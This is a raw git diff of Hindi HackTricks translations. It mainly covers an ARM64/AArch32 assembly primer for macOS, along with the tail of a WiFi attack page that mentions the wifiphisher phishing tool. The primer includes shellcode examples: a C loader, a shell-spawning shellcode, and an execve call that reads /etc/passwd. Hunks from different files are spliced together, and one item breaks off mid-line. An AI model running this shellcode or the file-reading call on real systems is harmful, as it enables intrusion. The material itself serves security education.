* [https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d](https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d)
|
||||
|
||||
TODO: [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) पर नजर डालें (facebook के साथ लॉगिन और captive portals में WPA की नकल)
|
||||
TODO: [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) पर नज़र डालें (facebook के साथ लॉगिन और captive portals में WPA की नकल)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) सर्वर में शामिल हों और अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें!
|
||||
|
||||
**Hacking Insights**\
|
||||
हैकिंग के रोमांच और चुनौतियों के बारे में गहराई से जानकारी प्राप्त करें
|
||||
हैकिंग के रोमांच और चुनौतियों के बारे में गहराई से जानकारी प्राप्त करें।
|
||||
|
||||
**Real-Time Hack News**\
|
||||
रियल-टाइम न्यूज़ और अंतर्दृष्टि के माध्यम से हैकिंग की तेज़ी से बदलती दुनिया के साथ अप-टू-डेट रहें
|
||||
रियल-टाइम न्यूज़ और अंतर्दृष्टि के माध्यम से हैकिंग की तेज़ी से बदलती दुनिया के साथ अप-टू-डेट रहें।
|
||||
|
||||
**Latest Announcements**\
|
||||
नवीनतम बग बाउंटीज़ लॉन्चिंग और महत्वपूर्ण प्लेटफॉर्म अपडेट्स के साथ सूचित रहें
|
||||
नवीनतम बग बाउंटीज़ लॉन्चिंग और महत्वपूर्ण प्लेटफॉर्म अपडेट्स के साथ सूचित रहें।
|
||||
|
||||
[**Discord**](https://discord.com/invite/N3FrSbmwdy) पर हमसे जुड़ें और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
|
||||
|
||||
|
@ -734,9 +736,9 @@ TODO: [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphishe
|
|||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) या [**telegram group**](https://t.me/peass) में **शामिल हों** या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** का अनुसरण करें.**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
|
||||
* [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें।
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह।
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) या [**telegram group**](https://t.me/peass) में **शामिल हों** या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,8 +9,8 @@ HackTricks का समर्थन करने के अन्य तरी
|
|||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** का अनुसरण करें**.
|
||||
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें.
|
||||
* 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**टेलीग्राम समूह**](https://t.me/peass) या **Twitter** पर मुझे **फॉलो** करें 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -20,22 +20,22 @@ ARMv8 आर्किटेक्चर में, एक्सेक्यू
|
|||
|
||||
1. **EL0 - यूजर मोड**:
|
||||
* यह सबसे कम विशेषाधिकार प्राप्त स्तर है और नियमित एप्लिकेशन कोड को निष्पादित करने के लिए इस्तेमाल होता है।
|
||||
* EL0 पर चलने वाले एप्लिकेशन एक दूसरे से और सिस्टम सॉफ्टवेयर से अलग होते हैं, सुरक्षा और स्थिरता में वृद्धि करते हैं।
|
||||
* EL0 में चलने वाले एप्लिकेशन एक दूसरे से और सिस्टम सॉफ्टवेयर से अलग होते हैं, सुरक्षा और स्थिरता में वृद्धि करते हैं।
|
||||
2. **EL1 - ऑपरेटिंग सिस्टम कर्नेल मोड**:
|
||||
* अधिकांश ऑपरेटिंग सिस्टम कर्नेल इस स्तर पर चलते हैं।
|
||||
* EL1 के पास EL0 से अधिक विशेषाधिकार होते हैं और सिस्टम संसाधनों तक पहुंच सकते हैं, लेकिन सिस्टम अखंडता सुनिश्चित करने के लिए कुछ प्रतिबंधों के साथ।
|
||||
* EL1 में EL0 से अधिक विशेषाधिकार होते हैं और सिस्टम संसाधनों तक पहुँच सकते हैं, लेकिन सिस्टम अखंडता सुनिश्चित करने के लिए कुछ प्रतिबंधों के साथ।
|
||||
3. **EL2 - हाइपरवाइजर मोड**:
|
||||
* यह स्तर वर्चुअलाइजेशन के लिए इस्तेमाल होता है। EL2 पर चलने वाला एक हाइपरवाइजर एक ही भौतिक हार्डवेयर पर चलने वाले कई ऑपरेटिंग सिस्टमों (प्रत्येक अपने EL1 में) का प्रबंधन कर सकता है।
|
||||
* EL2 वर्चुअलाइज्ड एनवायरनमेंट्स के अलगाव और नियंत्रण के लिए सुविधाएं प्रदान करता है।
|
||||
* यह स्तर वर्चुअलाइजेशन के लिए इस्तेमाल होता है। EL2 में चलने वाला हाइपरवाइजर एक ही भौतिक हार्डवेयर पर चलने वाले एकाधिक ऑपरेटिंग सिस्टम्स (प्रत्येक अपने EL1 में) का प्रबंधन कर सकता है।
|
||||
* EL2 वर्चुअलाइज्ड एनवायरनमेंट्स के अलगाव और नियंत्रण के लिए सुविधाएँ प्रदान करता है।
|
||||
4. **EL3 - सिक्योर मॉनिटर मोड**:
|
||||
* यह सबसे अधिक विशेषाधिकार प्राप्त स्तर है और अक्सर सुरक्षित बूटिंग और विश्वसनीय निष्पादन एनवायरनमेंट्स के लिए इस्तेमाल होता है।
|
||||
* EL3 सुरक्षित और गैर-सुरक्षित स्थितियों के बीच पहुंचों का प्रबंधन और नियंत्रण कर सकता है (जैसे कि सुरक्षित बूट, विश्वसनीय OS, आदि)।
|
||||
* EL3 सुरक्षित और गैर-सुरक्षित स्थितियों के बीच पहुँच का प्रबंधन और नियंत्रण कर सकता है (जैसे कि सुरक्षित बूट, विश्वसनीय OS, आदि)।
|
||||
|
||||
इन स्तरों का उपयोग सिस्टम के विभिन्न पहलुओं को यूजर एप्लिकेशन से लेकर सबसे विशेषाधिकार प्राप्त सिस्टम सॉफ्टवेयर तक संरचित और सुरक्षित तरीके से प्रबंधित करने के लिए होता है। ARMv8 का विशेषाधिकार स्तरों के प्रति दृष्टिकोण सिस्टम के विभिन्न घटकों को प्रभावी रूप से अलग करने में मदद करता है, जिससे सिस्टम की सुरक्षा और मजबूती में वृद्धि होती है।
|
||||
इन स्तरों का उपयोग उपयोगकर्ता एप्लिकेशन से लेकर सबसे अधिक विशेषाधिकार प्राप्त सिस्टम सॉफ्टवेयर तक सिस्टम के विभिन्न पहलुओं को प्रबंधित करने के लिए एक संरचित और सुरक्षित तरीका प्रदान करता है। ARMv8 का विशेषाधिकार स्तरों के प्रति दृष्टिकोण सिस्टम के विभिन्न घटकों को प्रभावी रूप से अलग करने में मदद करता है, जिससे सिस्टम की सुरक्षा और मजबूती में वृद्धि होती है।
|
||||
|
||||
## **रजिस्टर्स (ARM64v8)**
|
||||
|
||||
ARM64 में **31 सामान्य-उद्देश्य रजिस्टर्स** होते हैं, जिन्हें `x0` से `x30` तक लेबल किया जाता है। प्रत्येक **64-बिट** (8-बाइट) मान संग्रहीत कर सकता है। केवल 32-बिट मानों की आवश्यकता वाले ऑपरेशनों के लिए, वही रजिस्टर्स 32-बिट मोड में w0 से w30 के नामों का उपयोग करके पहुंचे जा सकते हैं।
|
||||
ARM64 में **31 सामान्य-उद्देश्य रजिस्टर्स** होते हैं, जिन्हें `x0` से `x30` तक लेबल किया जाता है। प्रत्येक **64-बिट** (8-बाइट) मान संग्रहीत कर सकता है। केवल 32-बिट मानों की आवश्यकता वाले ऑपरेशनों के लिए, वही रजिस्टर्स 32-बिट मोड में w0 से w30 के नामों का उपयोग करके पहुँचे जा सकते हैं।
|
||||
|
||||
1. **`x0`** से **`x7`** - ये आमतौर पर स्क्रैच रजिस्टर्स के रूप में इस्तेमाल होते हैं और उप-प्रक्रियाओं को पैरामीटर पास करने के लिए।
|
||||
* **`x0`** एक फंक्शन के रिटर्न डेटा को भी ले जाता है
|
||||
|
@ -43,23 +43,23 @@ ARM64 में **31 सामान्य-उद्देश्य रजिस
|
|||
3. **`x9`** से **`x15`** - और अधिक अस्थायी रजिस्टर्स, अक्सर स्थानीय चरों के लिए इस्तेमाल होते हैं।
|
||||
4. **`x16`** और **`x17`** - **इंट्रा-प्रोसीजरल कॉल रजिस्टर्स**। अस्थायी रजिस्टर्स तत्काल मानों के लिए। इनका उपयोग अप्रत्यक्ष फंक्शन कॉल्स और PLT (प्रोसीजर लिंकेज टेबल) स्टब्स के लिए भी होता है।
|
||||
* **`x16`** का उपयोग **`svc`** निर्देश के लिए **सिस्टम कॉल नंबर** के रूप में **macOS** में होता है।
|
||||
5. **`x18`** - **प्लेटफॉर्म रजिस्टर**। इसका उपयोग एक सामान्य-उद्देश्य रजिस्टर के रूप में किया जा सकता है, लेकिन कुछ प्लेटफॉर्मों पर, इस रजिस्टर का उपयोग प्लेटफॉर्म-विशिष्ट उपयोगों के लिए आरक्षित होता है: विंडोज में वर्तमान थ्रेड एनवायरनमेंट ब्लॉक के लिए पॉइंटर, या लिनक्स कर्नेल में वर्तमान **निष्पादित कार्य संरचना** के लिए।
|
||||
6. **`x19`** से **`x28`** - ये कॉली-सेव्ड रजिस्टर्स हैं। एक फंक्शन को अपने कॉलर के लिए इन रजिस्टर्स के मानों को संरक्षित करना चाहिए, इसलिए उन्हें स्टैक में संग्रहीत किया जाता है और कॉलर को वापस जाने से पहले पुनः प्राप्त किया जाता है।
|
||||
5. **`x18`** - **प्लेटफॉर्म रजिस्टर**। इसका उपयोग एक सामान्य-उद्देश्य रजिस्टर के रूप में किया जा सकता है, लेकिन कुछ प्लेटफॉर्मों पर, इस रजिस्टर का उपयोग प्लेटफॉर्म-विशिष्ट उपयोगों के लिए आरक्षित होता है: विंडोज में वर्तमान थ्रेड एनवायरनमेंट ब्लॉक के लिए पॉइंटर, या लिनक्स कर्नेल में वर्तमान **निष्पादित कार्य संरचना** के लिए पॉइंटर।
|
||||
6. **`x19`** से **`x28`** - ये कॉली-सेव्ड रजिस्टर्स हैं। एक फंक्शन को अपने कॉलर के लिए इन रजिस्टर्स के मानों को संरक्षित करना चाहिए, इसलिए उन्हें स्टैक में संग्रहीत किया जाता है और कॉलर के पास वापस जाने से पहले पुनः प्राप्त किया जाता है।
|
||||
7. **`x29`** - **फ्रेम पॉइंटर** स्टैक फ्रेम को ट्रैक करने के लिए। जब एक नया स्टैक फ्रेम बनाया जाता है क्योंकि एक फंक्शन को कॉल किया जाता है, तो **`x29`** रजिस्टर को **स्टैक में संग्रहीत किया जाता है** और **नया** फ्रेम पॉइंटर पता (**`sp`** पता) इस रजिस्ट्री में **संग्रहीत किया जाता है**।
|
||||
* यह रजिस्टर **सामान्य-उद्देश्य रजिस्ट्री** के रूप में भी इस्तेमाल किया जा सकता है हालांकि यह आमतौर पर **स्थानीय चरों** के संदर्भ के रूप में इस्तेमाल होता है।
|
||||
8. **`x30`** या **`lr`**- **लिंक रजिस्टर**
|
||||
8. **`
|
||||
```armasm
|
||||
ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
3. **Return**: `ret` (कॉलर को नियंत्रण वापस देता है लिंक रजिस्टर में पते का उपयोग करके)
|
||||
3. **Return**: `ret` (कॉलर को नियंत्रण वापस करता है लिंक रजिस्टर में पते का उपयोग करके)
|
||||
|
||||
## AARCH32 निष्पादन स्थिति
|
||||
|
||||
Armv8-A 32-बिट प्रोग्रामों के निष्पादन का समर्थन करता है। **AArch32** **दो निर्देश सेटों** में से एक में चल सकता है: **`A32`** और **`T32`** और **`इंटरवर्किंग`** के माध्यम से उनके बीच स्विच कर सकता है।\
|
||||
**विशेषाधिकार प्राप्त** 64-बिट प्रोग्राम 32-बिट प्रोग्रामों के **निष्पादन को अनुसूचित** कर सकते हैं, एक अपवाद स्तर स्थानांतरण को निचले विशेषाधिकार 32-बिट में निष्पादित करके।\
|
||||
ध्यान दें कि 64-बिट से 32-बिट में संक्रमण अपवाद स्तर के निचले होने के साथ होता है (उदाहरण के लिए एक 64-बिट प्रोग्राम EL1 में एक प्रोग्राम को EL0 में ट्रिगर करता है)। यह **`SPSR_ELx`** विशेष रजिस्टर के **बिट 4 को 1 पर सेट करके** किया जाता है जब `AArch32` प्रक्रिया थ्रेड निष्पादित होने के लिए तैयार होती है और `SPSR_ELx` का शेष **`AArch32`** प्रोग्रामों के CPSR को संग्रहीत करता है। फिर, विशेषाधिकार प्राप्त प्रक्रिया **`ERET`** निर्देश को कॉल करती है ताकि प्रोसेसर **`AArch32`** में संक्रमण करे, A32 या T32 में प्रवेश करता है CPSR के आधार पर।
|
||||
**विशेषाधिकार प्राप्त** 64-बिट प्रोग्राम 32-बिट प्रोग्रामों के **निष्पादन को अनुसूचित** कर सकते हैं, निम्न विशेषाधिकार 32-बिट के लिए एक अपवाद स्तर स्थानांतरण को निष्पादित करके।\
|
||||
ध्यान दें कि 64-बिट से 32-बिट में संक्रमण अपवाद स्तर के निचले होने के साथ होता है (उदाहरण के लिए एक 64-बिट प्रोग्राम EL1 में एक प्रोग्राम को EL0 में ट्रिगर करता है)। यह **`SPSR_ELx`** विशेष रजिस्टर के **बिट 4 को 1 पर सेट करके** किया जाता है जब `AArch32` प्रोसेस थ्रेड निष्पादित होने के लिए तैयार होता है और `SPSR_ELx` का शेष **`AArch32`** प्रोग्रामों का CPSR स्टोर करता है। फिर, विशेषाधिकार प्राप्त प्रक्रिया **`ERET`** निर्देश को कॉल करती है ताकि प्रोसेसर **`AArch32`** में संक्रमण करे, CPSR के आधार पर A32 या T32 में प्रवेश करे।
|
||||
|
||||
**`इंटरवर्किंग`** CPSR के J और T बिट्स का उपयोग करके होती है। `J=0` और `T=0` का मतलब **`A32`** है और `J=0` और `T=1` का मतलब **T32** है। यह मूल रूप से निर्देश सेट T32 होने का संकेत देने के लिए **निम्नतम बिट को 1 पर सेट करने** पर आधारित है।\
|
||||
यह **इंटरवर्किंग शाखा निर्देशों** के दौरान सेट किया जाता है, लेकिन जब PC को गंतव्य रजिस्टर के रूप में सेट किया जाता है तो अन्य निर्देशों के साथ सीधे सेट भी किया जा सकता है। उदाहरण:
|
||||
|
@ -77,20 +77,20 @@ mov r0, #8
|
|||
```
|
||||
### रजिस्टर्स
|
||||
|
||||
16 32-बिट रजिस्टर्स हैं (r0-r15)। **r0 से r14 तक** वे **किसी भी ऑपरेशन** के लिए इस्तेमाल किए जा सकते हैं, हालांकि कुछ आमतौर पर आरक्षित रहते हैं:
|
||||
16 32-बिट रजिस्टर्स (r0-r15) हैं। **r0 से r14 तक** वे **किसी भी ऑपरेशन** के लिए इस्तेमाल किए जा सकते हैं, हालांकि कुछ आमतौर पर आरक्षित रहते हैं:
|
||||
|
||||
* **`r15`**: प्रोग्राम काउंटर (हमेशा)। इसमें अगले निर्देश का पता होता है। A32 में वर्तमान + 8, T32 में, वर्तमान + 4।
|
||||
* **`r15`**: प्रोग्राम काउंटर (हमेशा)। अगले निर्देश का पता रखता है। A32 में वर्तमान + 8, T32 में, वर्तमान + 4।
|
||||
* **`r11`**: फ्रेम पॉइंटर
|
||||
* **`r12`**: इंट्रा-प्रोसीजरल कॉल रजिस्टर
|
||||
* **`r13`**: स्टैक पॉइंटर
|
||||
* **`r14`**: लिंक रजिस्टर
|
||||
|
||||
इसके अलावा, रजिस्टर्स **`बैंक्ड रजिस्ट्रीज`** में बैक अप होते हैं। जो रजिस्टर्स के मूल्यों को संग्रहित करते हैं जिससे अपवाद संभालने और विशेषाधिकार ऑपरेशन्स में **तेजी से कॉन्टेक्स्ट स्विचिंग** करने की अनुमति मिलती है ताकि हर बार मैन्युअली रजिस्टर्स को सेव और रिस्टोर करने की जरूरत न पड़े।\
|
||||
यह **प्रोसेसर की स्थिति को `CPSR` से प्रोसेसर मोड के `SPSR` में सेव करके** किया जाता है जिसमें अपवाद लिया जाता है। अपवाद वापसी पर, **`CPSR`** को **`SPSR`** से बहाल किया जाता है।
|
||||
इसके अलावा, रजिस्टर्स **`बैंक्ड रजिस्ट्रीज`** में बैक अप होते हैं। जो रजिस्टर्स के मूल्यों को संग्रहित करते हैं जिससे अपवाद संभालने और विशेषाधिकार प्राप्त ऑपरेशनों में **तेजी से कॉन्टेक्स्ट स्विचिंग** करने की अनुमति मिलती है ताकि हर बार मैन्युअली रजिस्टर्स को सेव और रिस्टोर करने की जरूरत न पड़े।\
|
||||
यह **प्रोसेसर की स्थिति को `CPSR` से प्रोसेसर मोड के `SPSR` में सेव करके** किया जाता है जिसमें अपवाद लिया जाता है। अपवाद वापसी पर, **`CPSR`** **`SPSR`** से बहाल किया जाता है।
|
||||
|
||||
### CPSR - वर्तमान प्रोग्राम स्थिति रजिस्टर
|
||||
|
||||
AArch32 में CPSR AArch64 में **`PSTATE`** के समान काम करता है और जब अपवाद लिया जाता है तो **`SPSR_ELx`** में भी संग्रहित होता है ताकि बाद में निष्पादन को बहाल किया जा सके:
|
||||
AArch32 में CPSR AArch64 में **`PSTATE`** के समान काम करता है और जब अपवाद लिया जाता है तो **`SPSR_ELx`** में भी संग्रहित किया जाता है ताकि बाद में निष्पादन बहाल किया जा सके:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (725).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -102,10 +102,10 @@ AArch32 में CPSR AArch64 में **`PSTATE`** के समान का
|
|||
#### एप्लिकेशन प्रोग्राम स्थिति रजिस्टर (APSR)
|
||||
|
||||
* **`N`**, **`Z`**, **`C`**, **`V`** ध्वज (AArch64 में जैसे)
|
||||
* **`Q`** ध्वज: जब भी **पूर्णांक संतृप्ति होती है** विशेष संतृप्त अंकगणितीय निर्देश के निष्पादन के दौरान, इसे 1 पर सेट किया जाता है। एक बार इसे **`1`** पर सेट कर दिया जाता है, यह मूल्य को तब तक बनाए रखेगा जब तक इसे मैन्युअली 0 पर सेट नहीं किया जाता। इसके अलावा, कोई भी निर्देश इसके मूल्य की जांच स्वतः नहीं करता है, इसे मैन्युअली पढ़कर किया जाना चाहिए।
|
||||
* **`GE`** (बड़ा या बराबर) ध्वज: यह SIMD (सिंगल इंस्ट्रक्शन, मल्टीपल डेटा) ऑपरेशन्स में इस्तेमाल होता है, जैसे "समानांतर जोड़" और "समानांतर घटाव"। ये ऑपरेशन्स एकल निर्देश में कई डेटा बिंदुओं को संसाधित करने की अनुमति देते हैं।
|
||||
* **`Q`** ध्वज: जब **पूर्णांक संतृप्ति होती है** तो यह 1 पर सेट हो जाता है विशेष संतृप्ति अंकगणितीय निर्देश के निष्पादन के दौरान। एक बार यह **`1`** पर सेट हो जाने के बाद, यह मूल्य तब तक बना रहेगा जब तक इसे मैन्युअली 0 पर सेट नहीं किया जाता। इसके अलावा, कोई भी निर्देश इसके मूल्य की जांच स्वतः नहीं करता है, इसे मैन्युअली पढ़कर किया जाना चाहिए।
|
||||
* **`GE`** (बड़ा या बराबर) ध्वज: यह SIMD (एकल निर्देश, बहु डेटा) ऑपरेशनों में इस्तेमाल होता है, जैसे "समानांतर जोड़" और "समानांतर घटाव"। ये ऑपरेशन एकल निर्देश में कई डेटा बिंदुओं को संसाधित करने की अनुमति देते हैं।
|
||||
|
||||
उदाहरण के लिए, **`UADD8`** निर्देश **चार जोड़ी बाइट्स को जोड़ता है** (दो 32-बिट ऑपरेंड्स से) समानांतर में और परिणामों को 32-बिट रजिस्टर में संग्रहित करता है। फिर यह **`GE` ध्वज को `APSR` में सेट करता है** इन परिणामों के आधार पर। प्रत्येक GE ध्वज एक बाइट जोड़ी के लिए मेल खाता है, यह दर्शाता है कि उस बाइट जोड़ी के लिए जोड़ **ओवरफ्लो** हुआ।
|
||||
उदाहरण के लिए, **`UADD8`** निर्देश **चार जोड़ी बाइट्स को जोड़ता है** (दो 32-बिट ऑपरेंड्स से) समानांतर में और परिणामों को 32-बिट रजिस्टर में संग्रहित करता है। फिर यह **`GE` ध्वज को `APSR` में सेट करता है** इन परिणामों के आधार पर। प्रत्येक GE ध्वज बाइट जोड़ों में से एक के लिए मेल खाता है, यह दर्शाता है कि उस बाइट जोड़ी के लिए जोड़ **ओवरफ्लो** हुआ।
|
||||
|
||||
**`SEL`** निर्देश इन GE ध्वजों का उपयोग करके शर्ताधीन क्रियाएं करता है।
|
||||
|
||||
|
@ -114,11 +114,11 @@ AArch32 में CPSR AArch64 में **`PSTATE`** के समान का
|
|||
* **`J`** और **`T`** बिट्स: **`J`** को 0 होना चाहिए और अगर **`T`** 0 है तो A32 निर्देश सेट का उपयोग किया जाता है, और अगर यह 1 है, तो T32 का उपयोग किया जाता है।
|
||||
* **IT ब्लॉक स्थिति रजिस्टर** (`ITSTATE`): ये 10-15 और 25-26 के बिट्स हैं। वे एक **`IT`** प्रीफिक्स समूह के अंदर निर्देशों के लिए शर्तों को संग्रहित करते हैं।
|
||||
* **`E`** बिट: **एंडियननेस** को दर्शाता है। 
|
||||
* **मोड और अपवाद मास्क बिट्स** (0-4): वे वर्तमान निष्पादन स्थिति को निर्धारित करते हैं। **पांचवां** यह दर्शाता है कि कार्यक्रम 32बिट (1 पर) या 64बिट (0 पर) के रूप में चलता है। अन्य 4 **वर्तमान में इस्तेमाल किए जा रहे अपवाद मोड** को दर्शाते हैं (जब एक अपवाद होता है और इसे संभाला जा रहा है)। सेट किया गया नंबर **वर्तमान प्राथमिकता को दर्शाता है** अगर इसे संभालते समय एक और अपवाद ट्रिगर किया जाता है।
|
||||
* **मोड और अपवाद मास्क बिट्स** (0-4): वे वर्तमान निष्पादन स्थिति को निर्धारित करते हैं। **5वां** यह दर्शाता है कि कार्यक्रम 32बिट (1 पर) या 64बिट (0 पर) के रूप में चलता है। अन्य 4 **वर्तमान में इस्तेमाल किए जा रहे अपवाद मोड** को दर्शाते हैं (जब एक अपवाद होता है और इसे संभाला जा रहा होता है)। सेट किया गया नंबर **वर्तमान प्राथमिकता को दर्शाता है** अगर इसे संभालते समय एक और अपवाद ट्रिगर किया जाता है।
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (728).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* **`AIF`**: कुछ अपवादों को बिट्स **`A`**, `I`, `F` का उपयोग करके अक्षम किया जा सकता है। अगर **`A`** 1 है तो इसका मतलब है **असमकालिक रोक** ट्रिगर की जाएगी। **`I`** बाहरी हार्डवेयर **इंटरप्ट अनुरोधों** (IRQs) का जवाब देने के लिए कॉन्फ़िगर किया गया है। और F **तेज़ इंटरप्ट अनुरोधों** (FIRs) से संबंधित है।
|
||||
* **`AIF`**: कुछ अपवादों को बिट्स **`A`**, `I`, `F` का उपयोग करके अक्षम किया जा सकता है। अगर **`A`** 1 है तो इसका मतलब है **असमकालिक रोक** ट्रिगर की जाएगी। **`I`** बाहरी हार्डवेयर **इंटरप्ट अनुरोधों** (IRQs) का जवाब देने के लिए कॉन्फ़िगर किया जाता है। और F **तेज़ इंटरप्ट अनुरोधों** (FIRs) से संबंधित है।
|
||||
|
||||
## macOS
|
||||
|
||||
|
@ -128,9 +128,9 @@ AArch32 में CPSR AArch64 में **`PSTATE`** के समान का
|
|||
|
||||
### Mach Traps
|
||||
|
||||
[**syscall\_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall\_sw.c.auto.html) को देखें। Mach traps में **x16 < 0** होगा, इसलिए आपको पिछली सूची से संख्याओं को **माइनस के साथ** कॉल करने की जरूरत है: **`_kernelrpc_mach_vm_allocate_trap`** है **`-10`**।
|
||||
[**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) को देखें। Mach traps में **x16 < 0** होगा, इसलिए आपको पिछली सूची से नंबरों को **माइनस के साथ** कॉल करने की जरूरत है: **`_kernelrpc_mach_vm_allocate_trap`** है **`-10`**।
|
||||
|
||||
आप **`libsystem_kernel.dylib`** को एक डिसासेंबलर में भी देख सकते हैं ताकि ये (और BSD) syscalls कैसे कॉल करें, यह जान सकें:
|
||||
आप **`libsystem_kernel.dylib`** को भी एक डिससेंबलर में देख सकते हैं ताकि ये (और BSD) syscalls कैसे कॉल करें, यह पता लगा सकें:
|
||||
```bash
|
||||
# macOS
|
||||
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
|
||||
|
@ -139,12 +139,12 @@ dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Lib
|
|||
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
|
||||
```
|
||||
{% hint style="success" %}
|
||||
कभी-कभी **`libsystem_kernel.dylib`** से **डिकंपाइल** किया गया कोड **सोर्स कोड** की जांच करने से ज्यादा आसान होता है क्योंकि कई सिस्कॉल्स (BSD और Mach) के कोड स्क्रिप्ट्स के माध्यम से जनरेट किए जाते हैं (सोर्स कोड में टिप्पणियों की जांच करें) जबकि dylib में आप देख सकते हैं कि क्या कॉल किया जा रहा है।
|
||||
कभी-कभी **`libsystem_kernel.dylib`** से **डीकंपाइल** किया गया कोड **सोर्स कोड** की जांच करने से ज्यादा आसान होता है क्योंकि कई सिस्कॉल्स (BSD और Mach) के कोड स्क्रिप्ट्स के माध्यम से उत्पन्न किए जाते हैं (सोर्स कोड में टिप्पणियों की जांच करें) जबकि dylib में आप देख सकते हैं कि क्या कॉल किया जा रहा है।
|
||||
{% endhint %}
|
||||
|
||||
### शेलकोड्स
|
||||
### Shellcodes
|
||||
|
||||
कंपाइल करने के लिए:
|
||||
संकलित करने के लिए:
|
||||
```bash
|
||||
as -o shell.o shell.s
|
||||
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
|
||||
|
@ -207,14 +207,14 @@ sc();
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
<details>
|
||||
</details>
|
||||
|
||||
#### Shell
|
||||
|
||||
[**यहाँ**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) से लिया गया और समझाया गया।
|
||||
[**यहाँ से**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) लिया गया और समझाया गया।
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="with adr" %}
|
||||
{% tab title="adr के साथ" %}
|
||||
```armasm
|
||||
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
||||
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
|
||||
|
@ -265,7 +265,7 @@ svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter,
|
|||
|
||||
#### cat के साथ पढ़ें
|
||||
|
||||
लक्ष्य `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)` को निष्पादित करना है, इसलिए दूसरा तर्क (x1) पैरामीटर्स का एक ऐरे है (जो मेमोरी में इसका मतलब है पतों का एक स्टैक)।
|
||||
लक्ष्य `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)` को निष्पादित करना है, इसलिए दूसरा तर्क (x1) पैरामीटर्स का एक सरणी है (जो मेमोरी में इसका मतलब पतों का एक ढेर है)।
|
||||
```armasm
|
||||
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
